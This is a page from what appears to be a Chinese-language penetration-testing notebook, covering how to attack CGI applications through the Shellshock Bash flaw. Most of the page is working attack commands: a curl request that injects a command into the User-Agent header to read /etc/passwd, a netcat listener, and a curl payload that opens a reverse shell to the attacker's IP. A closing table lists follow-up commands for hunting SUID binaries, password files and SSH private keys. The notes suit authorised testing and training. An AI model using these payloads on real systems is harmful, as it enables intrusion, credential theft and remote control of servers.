0xdfxyz
  • Penetration Testing Process
    • README.md
    • Whois
  • Nikto
  • Search Engine Discovery
  • FinalRecon
  • Nessus
  • 0_新手上路
    • 0_新手上路
  • 1_訊息收集
    • 服務枚舉
      • Page 6
      • Nmap
      • DNS
    • 應用枚舉
      • Page 6
    • A D枚舉
      • Page 6
    • web枚舉
      • Page 6
      • Web Fuzzing
      • Subdomain
  • 2_漏洞前準備
    • 反彈 Shell
    • 工具彙總
    • 字典生成
  • 3_漏洞利用
    • 應用漏洞利用
    • AD 攻擊
    • 二進位漏洞利用
    • Web漏洞利用
      • XSS
      • IDOR
      • Webshel​​l
      • File uploads
      • SSTI
      • LFI
      • SQL injection
      • XXE
      • HTTP Verb Tampering
      • Command Injection
    • 服務漏洞利用
      • CMS
        • Wordpress
        • Joolmla
        • Drupal
      • Servlet 容器/軟體開發
        • Jenkins
        • Tomcat
      • 基礎設施/網路監控工具
        • Splunk
        • PRTG Network Monitor
      • 客戶服務管理與配置管理
        • osTicket
        • Gitlab
      • 通用網關介面
        • 攻擊通用網關介面 (CGI) 應用程式 - Shellshock
      • 其他應用
        • ColdFusion
        • IIS Tilde
        • LDAP
      • 常見應用程式
        • Thick client(也稱為rich客戶端或fat客戶端
        • Web 批量分配漏洞 ( Ruby on Rails)
        • 攻擊連接到服務的應用程式(SSH)
  • 4_滲透
    • Linux 權限提升
    • Windows 權限提升
    • Windows + Linux 工具
  • 5_橫向移動
    • 工具
    • 跳板 Pivoting
    • AD 橫向移動
    • Linux 橫向移動
    • Windows 橫向移動
  • 6_NetExec
    • 常見模組
    • 命令執行
    • 漏洞掃描模組
    • 模組使用
    • 憑證轉儲
    • Kerberos 認證
    • LDAP RDP 枚舉
    • SMB 枚舉
由 GitBook 提供支持
在本页
  • 1. 發現點
  • 2. 測試Payload
  • 3. 掃描路徑
  • 4. 確認漏洞
  • 5. 利用取得反向 shell
  • 5. 連鎖漏洞

这有帮助吗?

  1. 3_漏洞利用
  2. 服務漏洞利用
  3. 通用網關介面

攻擊通用網關介面 (CGI) 應用程式 - Shellshock

1. 發現點

  • Shellshock 係因為 Bash 對環境變數處理方式出錯

  • 本應函數定義儲存到變數,但 Bash 執行錯誤地允許「函數後面嘅指令」被當成系統命令執行

  • 適用於舊版 Bash(很多 Linux 主機在 CGI 程式執行時都會用到 Bash)

2. 測試Payload

env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
  • 如果系統有漏洞,會輸出:

vulnerable-shellshock
not vulnerable
  • 否則只會印出 not vulnerable

3. 掃描路徑

  • 使用 Gobuster、dirb、ffuf 等工具找 CGI endpoint:

gobuster dir -u http://<target>/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
  • 找到如 /cgi-bin/access.cgi

4. 確認漏洞

  • 用 curl 嘗試注入指令:

curl -H 'User-Agent: () { :; }; echo; /bin/cat /etc/passwd' http://<target>/cgi-bin/access.cgi
  • 如果回傳 /etc/passwd 的內容,即確認漏洞存在

5. 利用取得反向 shell

  • 開啟 listener:

nc -lvnp 7777
  • 發送 payload:

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/你的IP/7777 0>&1' http://<target>/cgi-bin/access.cgi
  • 成功後獲得 www-data 權限 shell

5. 連鎖漏洞

當拿到 www-data 權限後,可以進行以下鏈式利用(pivot):

步驟
攻擊目標
工具/命令範例

本地提權

找可利用的 sudo 權限、SUID Binary、Kernel Exploit

sudo -l、find / -perm -4000 -type f 2>/dev/null

檔案搜尋敏感資訊

找密碼、Token、私鑰

find / -type f -iname "*password*" 2>/dev/null

橫向移動

如果有多個用戶或內網目標,嘗試 SSH、RDP、Telnet

cat ~/.ssh/id_rsa、ssh user@ip

讀 crontab

檢查是否有定時執行惡意可利用的腳本

cat /etc/crontab

檢查 NFS / SMB

有沒有掛載 NFS、開啟 SMB 可導致任意檔案存取

showmount -e <ip>、smbclient -L //<ip>

內網掃描

利用目標主機繼續向內部網段滲透

使用 nmap、ping

上一页通用網關介面下一页其他應用

最后更新于2个月前

这有帮助吗?